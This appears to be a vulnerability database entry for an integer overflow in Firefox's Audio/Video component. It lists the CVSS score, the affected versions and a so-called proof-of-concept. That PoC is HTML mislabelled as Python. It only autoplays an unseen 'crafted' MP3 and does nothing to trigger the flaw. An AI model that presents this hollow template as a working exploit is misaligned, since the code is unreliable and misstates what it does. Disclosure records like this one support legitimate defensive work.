Incorrect boundary conditions, integer overflow in the Audio/Video component. This vulnerability was fixed in Firefox 151 and Firefox ESR 140.11.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Firefox < 151
Firefox ESR < 140.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
Proof of Concept for CVE-2026-8954
Description: HTML snippet attempting to trigger integer overflow in Firefox Audio component.
Note: This requires a crafted media file to function.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-8954 PoC</title>
</head>
<body>
<h1>Firefox Audio Component Integer Overflow PoC</h1>
<!-- Embed a crafted audio file designed to trigger the boundary check failure -->
<audio id="targetAudio" controls autoplay>
<source src="crafted_overflow.mp3" type="audio/mpeg">
Your browser does not support the audio element.
</audio>
<script>
// Monitor for potential crashes or unusual behavior indicating exploitation
window.addEventListener('error', function(e) {
console.log("Error detected: " + e.message);
});
var audio = document.getElementById('targetAudio');
audio.play().catch(e => console.log("Play failed (interaction required or error): " + e));
</script>
</body>
</html>